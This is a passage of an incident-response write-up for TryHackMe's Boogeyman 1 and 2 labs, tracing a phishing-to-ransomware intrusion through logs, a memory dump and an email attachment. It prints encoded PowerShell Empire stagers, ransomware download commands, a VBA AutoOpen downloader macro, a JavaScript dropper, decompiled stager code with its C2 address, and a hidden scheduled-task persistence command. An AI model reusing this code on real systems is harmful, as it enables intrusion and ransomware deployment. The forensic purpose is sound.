QAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==}"
  2023-08-30T02:06:25.390Z  Administrator@WKSTN-0051	2340	5004	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-1327.quicklogistics.org -ScriptBlock {powershell -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==}"
```

### IV. Ransomware

The attacker after having full control of the `QUICKLOGISTICS.ORG` domain downloaded and executed suspicious file, `ransomboogey.exe`, as well as on `WKSTN-1327`. The ransomware was downloaded on `WKSTN-0051` but there were no signs of execution:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.81.59:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)@\(.host.hostname)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep DC01 | grep 4008

  [..omitted..]
  2023-08-30T01:53:13.738Z  Administrator@DC01	4308	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile ransomboogey.exe"
  2023-08-30T01:53:33.815Z  Administrator@DC01	5572	4008	"C:\Users\Administrator\ransomboogey.exe"
  2023-08-30T01:54:11.095Z  Administrator@DC01	4404	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-1327.quicklogistics.org -ScriptBlock {hostname}"
  2023-08-30T01:54:24.982Z  Administrator@DC01	6808	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-0051.quicklogistics.org -ScriptBlock {hostname}"
  2023-08-30T01:56:05.018Z  Administrator@DC01	4296	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-1327.quicklogistics.org -ScriptBlock {iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile ransomboogey.exe; .\ransomboogey.exe}"
  2023-08-30T01:56:40.186Z  Administrator@DC01	6436	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-1327.quicklogistics.org -ScriptBlock {iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile C:\Users\itadmin\ransomboogey.exe; C:\Users\itadmin\ransomboogey.exe}"
  2023-08-30T01:57:53.649Z  Administrator@DC01	5984	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-1327.quicklogistics.org -ScriptBlock {C:\Users\itadmin\ransomboogey.exe}"
  2023-08-30T01:59:36.244Z  Administrator@DC01	5148	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-0051.quicklogistics.org -ScriptBlock {iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile C:\Users\itadmin\ransomboogey.exe;}"
  2023-08-30T02:00:58.090Z  Administrator@DC01	3672	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-0051.quicklogistics.org -ScriptBlock {hostname}"
  2023-08-30T02:01:14.244Z  Administrator@DC01	4384	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-0051.quicklogistics.org -ScriptBlock {iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile C:\Users\evan.hutchinson\ransomboogey.exe;}"
  [..omitted..]
```

An execution of `ransomboogey.exe` by `itadmin` could also be seen on `WKSTN-1327`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.81.59:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)@\(.host.hostname)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 7300        

  [..omitted..]
  2023-08-30T02:04:59.635Z  itadmin@WKSTN-1327	7300	7264	C:\Windows\Explorer.EXE
  [..omitted..]
  2023-08-30T02:07:22.741Z  itadmin@WKSTN-1327	8804	7300	"C:\Users\itadmin\ransomboogey.exe" 
  [..omitted..]
```

## TIMELINE OF EVENTS

<table><thead><tr><th width="216" align="center">TIMESTAMP</th><th>EVENT</th></tr></thead><tbody><tr><td align="center">2023-08-29 23:51:15</td><td>Execution of the malicious HTA file.</td></tr><tr><td align="center">2023-08-29 23:51:16</td><td>Established persistence on <code>WKSTN-0051</code> via Scheduled Task.</td></tr><tr><td align="center">2023-08-29 23:54:50</td><td><code>WKSTN-0051</code> calls back to the Empire C2 server.</td></tr><tr><td align="center">2023-08-30 00:09:57</td><td>Download of <code>mimikatz.exe</code> on <code>WKSTN-0051</code>.</td></tr><tr><td align="center">2023-08-30 00:11:26</td><td>First seen execution of <code>mimikatz.exe</code> on <code>WKSTN-0051</code>.</td></tr><tr><td align="center">2023-08-30 00:19:52</td><td>Credentials of <code>allan.smith</code> found on <code>IT_Automation.ps1</code></td></tr><tr><td align="center">2023-08-30 00:21:52</td><td>Execution of Empire stager on <code>WKSTN-1327</code> from <code>WKSTN-0051</code>.</td></tr><tr><td align="center">2023-08-30 01:29:09</td><td>Download of <code>mimikatz.exe</code> on <code>WKSTN-1327</code>.</td></tr><tr><td align="center">2023-08-30 01:30:25</td><td>First seen execution of <code>mimikatz.exe</code> on <code>WKSTN-1327</code>.</td></tr><tr><td align="center">2023-08-30 01:31:39</td><td>Pass-the-Hash using the Domain Administrator on <code>WKSTN-1327</code>.</td></tr><tr><td align="center">2023-08-30 01:45:41</td><td>Execution of Empire stager on <code>DC01</code> from <code>WKSTN-0051</code>.</td></tr><tr><td align="center">2023-08-30 01:46:18</td><td>Download of <code>mimikatz.exe</code> on <code>DC01</code>.</td></tr><tr><td align="center">2023-08-30 01:47:57</td><td>DCSync attack on the Domain Administrator user, <code>backupda</code>.</td></tr><tr><td align="center">2023-08-30 01:53:13</td><td>Download of <code>ransomboogey.exe</code> on <code>DC01</code>.</td></tr><tr><td align="center">2023-08-30 01:53:33</td><td>Execution of <code>ransomboogey.exe</code> on <code>DC01</code> by <code>Administrator</code>.</td></tr><tr><td align="center">2023-08-30 01:56:40</td><td>Last download of <code>ransomboogey.exe</code> on <code>WKSTN-1327</code>.</td></tr><tr><td align="center">2023-08-30 01:59:36</td><td>First download of <code>ransomboogey.exe</code> on <code>WKSTN-0051</code>.</td></tr><tr><td align="center">2023-08-30 02:06:09</td><td>Empire stager execution as DA on <code>WKSTN-0051</code>.</td></tr><tr><td align="center">2023-08-30 02:06:25</td><td>Empire stager execution as DA on <code>WKSTN-1327</code>.</td></tr><tr><td align="center">2023-08-30 02:07:22</td><td>Execution of <code>ransomboogey.exe</code> on <code>WKSTN-1327</code> by <code>itadmin</code>.</td></tr></tbody></table>


# Boogeyman 2

The Boogeyman is back. Are you still afraid of the Boogeyman?

## CONTEXT

Challenge Link: [TryHackMe - Boogeyman 2](https://tryhackme.com/room/boogeyman2)

### I. Background

> Maxine, a Human Resource Specialist working for Quick Logistics LLC, received an application from one of the open positions in the company. Unbeknownst to her, the attached resume was malicious and compromised her workstation.

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FGAeIfdRIqzldYMOMCZhH%2Fimage.png?alt=media&amp;token=7a6194c9-91c5-4f64-9f6e-e09f70eb6e3b" alt=""><figcaption></figcaption></figure>

<table><thead><tr><th width="163" align="right">Header</th><th>Value</th></tr></thead><tbody><tr><td align="right">From</td><td><code>"westaylor23@outlook.com" &#x3C;westaylor23@outlook.com></code></td></tr><tr><td align="right">To</td><td><code>"maxine.beck@quicklogisticsorg.onmicrosoft.com"</code></td></tr><tr><td align="right">Content-Type</td><td><code>application/msword; name="Resume_WesleyTaylor.doc"</code></td></tr></tbody></table>

### II. Artifacts

#### 1. Exfiltration

A Python3 http server was started in the THM machine:

```shell-session
ubuntu@tryhackme:~$ cd Desktop/Artefacts/

ubuntu@tryhackme:~/Desktop/Artefacts$ python3 -m http.server
```

Then the files were downloaded using a local browser:

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FrCwOnARIshyTvY6MpJ1t%2Fimage.png?alt=media&amp;token=de54d607-1407-4d3e-904d-1b2587e5d69c" alt=""><figcaption></figcaption></figure>

#### 2. Email Attachment

The attachment includes a *.doc* file which was extracted and checked for completion:

```shell-session
$ cat Resume\ -\ Application\ for\ Junior\ IT\ Analyst\ Role.eml | grep -i -E '^[A-Z0-9+/=]{32,76}' | tr -d '\r\n' | base64 -d > Resume_WesleyTaylor.doc

$ file Resume_WesleyTaylor.doc

  Resume_WesleyTaylor.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: tryhackme, Template: Normal, Last Saved By: tryhackme, Revision Number: 5, Name of Creating Application: Microsoft Office Word, Total Editing Time: 05:00, Create Time/Date: Sun Aug 20 21:49:00 2023, Last Saved Time/Date: Sun Aug 20 22:24:00 2023, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
  
$ binwalk Resume_WesleyTaylor.doc                                                                                                                       

  DECIMAL       HEXADECIMAL     DESCRIPTION
  --------------------------------------------------------------------------------
  4865          0x1301          PNG image, 468 x 222, 8-bit/color RGBA, non-interlaced
  4919          0x1337          TIFF image data, big-endian, offset of first image directory: 8
  35138         0x8942          Zip archive data, at least v2.0 to extract, compressed size: 255, uncompressed size: 540, name: [Content_Types].xml
  35442         0x8A72          Zip archive data, at least v2.0 to extract, compressed size: 192, uncompressed size: 310, name: _rels/.rels
  35675         0x8B5B          Zip archive data, at least v2.0 to extract, compressed size: 131, uncompressed size: 138, name: theme/theme/themeManager.xml
  35864         0x8C18          Zip archive data, at least v2.0 to extract, compressed size: 1939, uncompressed size: 8393, name: theme/theme/theme1.xml
  37855         0x93DF          Zip archive data, at least v2.0 to extract, compressed size: 182, uncompressed size: 283, name: theme/theme/_rels/themeManager.xml.rels
  38455         0x9637          End of Zip archive, footer length: 22
  38477         0x964D          XML document, version: "1.0"
  
$ md5sum Resume_WesleyTaylor.doc                     

  52c4384a0b9e248b95804352ebec6c5b  Resume_WesleyTaylor.doc
```

#### 3. Memory Dump

The compromised workstation seems to be running on Windows 10:

```bash
$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw imageinfo
  
  Volatility Foundation Volatility Framework 2.6.1
  INFO    : volatility.debug    : Determining profile based on KDBG search...
           Suggested Profile(s) : Win10x64_18362
                      AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                      AS Layer2 : FileAddressSpace ($THM/Boogeyman2/WKSTN-2961.raw)
                       PAE type : No PAE
                            DTB : 0x1aa000L
                           KDBG : 0xf802536405e0L
           Number of Processors : 2
      Image Type (Service Pack) : 0
                 KPCR for CPU 0 : 0xfffff80252340000L
                 KPCR for CPU 1 : 0xffffa601e54c0000L
              KUSER_SHARED_DATA : 0xfffff78000000000L
            Image date and time : 2023-08-21 14:14:28 UTC+0000
      Image local date and time : 2023-08-21 15:14:28 +0100
```

And that particular endpoint is owned by `maxine.beck`:

```shell-session
$ python3 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw filescan | grep 'Resume_WesleyTaylor'

  0xe58f86465740  \Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc	216
  0xe58f878c1420  \Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc	216
```

## ANALYSIS

### I. MalDoc

The email attachment includes a macro (denoted by the character, `M`) named `NewMacros`:

```shell-session
$ python3 ./git/DidierStevensSuite/oledump.py ./CTF/THM/Boogeyman2/Resume_WesleyTaylor.doc                   

    1:       114 '\x01CompObj'
    2:      4096 '\x05DocumentSummaryInformation'
    3:      4096 '\x05SummaryInformation'
    4:      7288 '1Table'
    5:     28574 'Data'
    6:       414 'Macros/PROJECT'
    7:        71 'Macros/PROJECTwm'
    8: M    2027 'Macros/VBA/NewMacros'
    9: m     962 'Macros/VBA/ThisDocument'
   10:      2787 'Macros/VBA/_VBA_PROJECT'
   11:      2242 'Macros/VBA/__SRP_0'
   12:       122 'Macros/VBA/__SRP_1'
   13:       935 'Macros/VBA/__SRP_2'
   14:       156 'Macros/VBA/__SRP_3'
   15:       570 'Macros/VBA/dir'
   16:      4096 'WordDocument'
```

Looking at what it does:

```shell-session
$ python3 ./git/DidierStevensSuite/oledump.py -s 8 --vbadecompress $THM/Boogeyman2/Resume_WesleyTaylor.doc
```

Once the document is opened, it will download a file (`upload.png`) and save it as `update.js` then execute it via `wscript.exe`:

```visual-basic
Attribute VB_Name = "NewMacros"
Sub AutoOpen()

spath = "C:\ProgramData\"
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
xHttp.Send
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile spath & "\update.js", 2
End With

Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")

End Sub
```

Confirming the execution via the memory dump, the malicious process, `wscript.exe` (PID 4260) indeed spawned from *Microsoft Word* (PID 1124) and eventually `updater.exe` (PID 6216):

```shell-session
$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw --dtb=0x1aa000 --kdbg=0xf802536405e0 --profile=Win10x64_18362 pstree | grep -C2 -i wscript

  Volatility Foundation Volatility Framework 2.6.1
  ... 0xffffe58f87c8a080:OUTLOOK.EXE                   1440    596     22      0 2023-08-21 14:09:04 UTC+0000
  .... 0xffffe58f81150080:WINWORD.EXE                  1124   1440     18      0 2023-08-21 14:12:31 UTC+0000
  ..... 0xffffe58f864ca0c0:wscript.exe                 4260   1124      6      0 2023-08-21 14:12:47 UTC+0000
  ...... 0xffffe58f87ac0080:updater.exe                6216   4260     18      0 2023-08-21 14:12:48 UTC+0000
  ....... 0xffffe58f84bd1080:conhost.exe               4464   6216      5      0 2023-08-21 14:14:03 UTC+0000
```

### II. C2 Callback

To figure out the origins of `updater.exe`, the initially downloaded file (`update.png`) was extracted from the memory dump:

```shell-session
$ python3 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw filescan | grep 'update'   

  0xe58f836edc60  \Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\IE\GEX3PLZ6\update[1].png	216
  0xe58f8928f8b0  \Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\IE\FMJK14EZ\update[1].exe	216
  0xe58f89291e30  \Windows\Tasks\updater.exe	216
  0xe58f89293730  \Windows\Tasks\updater.exe	216
  
$ python3 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw -o $THM/Boogeyman2/volatility/ windows.dumpfiles --virtaddr 0xe58f836edc60

  Volatility 3 Framework 2.5.2
  Progress:  100.00		PDB scanning finished                        
  Cache	                FileObject      FileName        Result

  DataSectionObject     0xe58f836edc60  update[1].png   file.0xe58f836edc60.0xe58f87ddb320.DataSectionObject.update[1].png.dat
```

The following shows that a file (`update.exe`) is downloaded and saved as `updater.exe` which is then executed as is:

```javascript
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
var wshell = new ActiveXObject("WScript.Shell");

var location = "C:\\Windows\\Tasks\\";
var filename = "updater.exe";

var url = "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe"
Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
 var Stream = WScript.CreateObject('ADODB.Stream');
 Stream.Open();
 Stream.Type = 1; // Stream type 1 to set binary stream
 Stream.Write(Object.ResponseBody);
 Stream.Position = 0;
 Stream.SaveToFile(location + filename, 2); // option 2 to force overwrite
 Stream.Close();
}

wshell.Run("cmd.exe /c reg.exe add \"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\" /v C:\\Windows\\Tasks /f");


wshell.Run(location + filename);
WScript.Sleep(5*60*1000);
```

Looking at what `updater.exe` is, it was extracted from the memory dump then decompiled using *dnSpy*:

```shell-session
$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw --dtb=0x1aa000 --kdbg=0xf802536405e0 --profile=Win10x64_18362 procdump -D $THM/Boogeyman2/volatility -p 6216                     

  Volatility Foundation Volatility Framework 2.6.1
  Process(V)         ImageBase          Name                 Result
  ------------------ ------------------ -------------------- ------
  0xffffe58f87ac0080 0x0000000000c20000 updater.exe          OK: executable.6216.exe
  
$ file executable.6216.exe

  executable.6216.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 2 sections
```

It is an Empire stager compiled via Sharpire:

```csharp
// Sharpire.EmpireStager
// Token: 0x06000010 RID: 16 RVA: 0x00002578 File Offset: 0x00000778
public EmpireStager(SessionInfo sessionInfo1)
{
	this.sessionInfo = sessionInfo1;
	this.stagingKeyBytes = Encoding.ASCII.GetBytes(this.sessionInfo.GetStagingKey());
	Random random = new Random();
	char[] array = "ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray();
	StringBuilder stringBuilder = new StringBuilder(8);
	for (int i = 0; i < 8; i++)
	{
		int num = random.Next(array.Length);
		stringBuilder.Append(array[num]);
	}
	this.sessionInfo.SetAgentID(stringBuilder.ToString());
	CspParameters cspParameters = new CspParameters();
	cspParameters.Flags |= CspProviderFlags.UseMachineKeyStore;
	this.rsaCrypto = new RSACryptoServiceProvider(2048, cspParameters);
}
```

And calls back to `128.199.95.189:8080`:

```csharp
using System;
using Sharpire;

// Token: 0x02000002 RID: 2
public static class Program
{
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    public static void Main()
    {
        try
        {
	    string text = "http://128.199.95.189:8080";
            string text2 = "xF}DlXKtjZ9/zaS2>smYiUC+;-yLqQOp";
            string workingHours = "";
            uint defaultDelay = 5U;
            double defaultJitter = 0.0;
            uint defaultLostLimit = 60U;
            string text3 = "dotnet";
            SessionInfo sessionInfo = new SessionInfo(new string[]
            {
                text,
                text2,
                text3
            });
            sessionInfo.SetWorkingHours(workingHours);
            sessionInfo.SetDefaultJitter(defaultJitter);
            sessionInfo.SetDefaultDelay(defaultDelay);
            sessionInfo.SetDefaultLostLimit(defaultLostLimit);
            new EmpireStager(sessionInfo).Execute();
        }
        catch (Exception ex)
        {
            Console.WriteLine(string.Concat(new string[]
            {
                ex.GetType().FullName,
                ": ",
                ex.Message,
                Environment.NewLine,
                ex.StackTrace
            }));
        }
    }
}
```

Which when confirmed via the memory dump, there was a connection but seems to have been marked as `CLOSED` but the process is still running meaning the agent might be currently inactive:

```shell-session
$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw --dtb=0x1aa000 --kdbg=0xf802536405e0 --profile=Win10x64_18362 netscan | grep -C2 updater.exe        

  Volatility Foundation Volatility Framework 2.6.1
  WARNING : volatility.debug    : Cannot find nt!ObGetObjectType
  0xe58f86b73010     TCPv4    10.10.49.181:63308             128.199.95.189:8080  CLOSED           -1                      3884-06-06 01:06:33 UTC+0000
  0xe58f87604010     TCPv4    10.10.49.181:63218             20.42.65.88:443      CLOSED           -1                      3884-06-06 01:06:31 UTC+0000
  0xe58f8797fc40     UDPv4    0.0.0.0:0                      *:*                                   6216     updater.exe    2023-08-21 14:12:48 UTC+0000
  0xe58f87980570     UDPv4    0.0.0.0:0                      *:*                                   6216     updater.exe    2023-08-21 14:12:48 UTC+0000
  0xe58f87980570     UDPv6    :::0                           *:*                                   6216     updater.exe    2023-08-21 14:12:48 UTC+0000
```

### III. Persistence

Extracting the process memory of `updater.exe` from the dump to see if command executions could be discovered:

```shell-session
$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw --dtb=0x1aa000 --kdbg=0xf802536405e0 --profile=Win10x64_18362 memdump -p 6216 -D $THM/Boogeyman2/volatility

  Volatility Foundation Volatility Framework 2.6.1
  ************************************************************************
  Writing updater.exe [  6216] to 6216.dmp
```

It can be seen that a scheduled task named `Updater` was attempted to be created:

```shell-session
$ strings -el 6216.dmp | grep -i "powershell.exe "

  "C:\Windows\system32\schtasks.exe" /Create /F /SC DAILY /ST 09:00 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""
  "C:\Windows\system32\schtasks.exe" /Create /F /SC DAILY /ST 09:00 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""
```

Confirming if the scheduled task was created, the task file was extracted from the memory dump:

```shell-session
$ python3 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw filescan | grep -i 'System32\\Tasks\\'

